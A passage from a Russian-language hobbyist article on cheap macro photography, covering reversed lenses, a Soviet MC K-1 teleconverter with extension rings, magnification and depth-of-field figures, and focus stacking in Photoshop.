Установить в фотоаппарат длиннофокусный объектив, и прислонить к его передней линзе короткофокусный объектив обратной стороной. (Для этого случая тоже есть специальные реверсивные кольца и переходники ). В этом случае масштаб вычисляется как отношение фокусного расстояния основного объектива к фокусному расстоянию «перевертыша». Для примера, я установил Canon 55-250 mm на максимальное фокусное расстояние, настроил на бесконечность и прислонил к нему обратной стороной объектив Helios 44-2 (50мм). В этом случае масштаб получится 250 / 50 = 5:1 !!!. Но при этом глубина резкости будет настолько мала, что поймать объект в фокус без штатива и спускового тросика будет очень проблематично.

И, наконец, если ваши родственники в молодости не только имели в своих запасах фотоаппарат Зенит, но и активно его использовали, наверняка у них имеется конвертер. Самым популярным во времена СССР был конвертер МС К-1, увеличивающий фокусное расстояние объектива в 2 раза. После долгих экспериментов я вычислил, что используя схему Конвертер – 3 кольца – объектив можно добиться хорошего масштаба съёмки. В случае с 50мм объективом масштаб получится 2:1 (если я правильно посчитал), что, на мой взгляд, является одним из самых удобных и рабочих вариантов.

Идеальной же схемой, как показал эксперимент с имеющимся у меня оборудованием, является схема: Конвертер – 3 кольца – Перевёртыш. Масштаб при этом получается чуть более крупным, чем в предыдущей схеме, при этом сохранится приемлемая глубина резкости. Однако для большего удобства в этой схеме понадобится переходник для крепления перевёртыша (я просто прикладывал объектив к макрокольцам).
В этой схеме есть особенности и нюансы:
1) Основной объектив должен быть длиннофокусным. 200 – 250 мм это на мой взгляд перебор. Я бы использовал что-то около 135 мм. На этом объективе надо прикрывать диафрагму для увеличения глубины резкости.
2) Второй объектив, используемый как перевёртыш, должен быть светосильным. Диафрагма полностью открыта. Его фокусное расстояние должно быть не больше 50мм. Чем оно меньше – тем больше увеличение (помните формулу выше?).
3) Минимальная дистанция фокусировки такой системы объективов равна рабочему отрезку «перевертыша». У объективов M42, у Гелиос-44 в частности, рабочий отрезок - 45,5 мм. То есть вам необходимо будет приблизится к объекту на 4,5 сантиметра, чтобы поймать его в фокус.
4) Очень внимательно следите за линзой «перевертыша». У перевёртыша линзой, контактирующей с объектом съёмки становится задняя линза. Её легко повредить, а именно задняя линза больше всего влияет на изображение, царапины на ней совсем ни к чему.
5) Обычное кольцо наводки на резкость в этих условиях практически не работает. Наводиться следует путём перемещения камеры. Ни о каком автофокусе речи нет. (Это касается и большинства других вариантов макросъёмки, за исключением автофокусного макрообъектива). Но в случае Макро, автофокус скорее мешает чем помогает.

Фотографии для сравнения:


50 мм "перевертыш" Helios 44-2:


3 макрокольца + "перевертыш" Helios 44-2:

Следует отметить, что съёмка в масштабе от 2:1 и выше - очень непростое занятие. При ничтожно малой глубине резкости крайне сложно поймать объект в фокус, но даже в случае успеха, из-за малой ГРИП 95% изображения будут казаться размытыми.

Для справки, при масштабе 1:1 и диафрагме F8 глубина резкости составит всего 1,2 миллиметра. При F16 - 2,4 мм.
В случае с масштабом 2:1 и диафрагмой F8 ГРИП будет 0,4 мм.

Профессиональные фотографы используют Фокусировочные рельсы и высококачественные штативы. Нам лишь остаётся надеятся на то, что наши руки не сильно дрожат.
Ситуацию поможет исправить технология Focus stacking – так называемый совмещенный фокус. Для этого вам необходимо сделать серию снимков одного объекта под одним и тем же углом. После чего импортировать все снимки в Photoshop как слои.
После этого, для выравнивания всех слоёв достаточно задействовать функцию Edit –> Auto-Align Layers. После чего - Edit -> Auto-Blend Layers. Если вы всё сделали правильно, за счёт серии снимков с разной точкой фокусировки программа увеличит результирующую глубину резкости.

Подводя итоги, хочу сказать, что увеличение макросъёмкой - не обязательно дорогое, но обязательно - увлекательное и интересное занятие. Поле для творчества - весьма обширно: тысячи видов насекомых, цветы и мхи, снежинки и капли росы. Всё это при правильном подходе даёт изумительные плоды и расширяет ваше знакомство с миром. Пробуйте и экспериментируйте. Буду рад вашим примерам и наблюдениям в комментариях.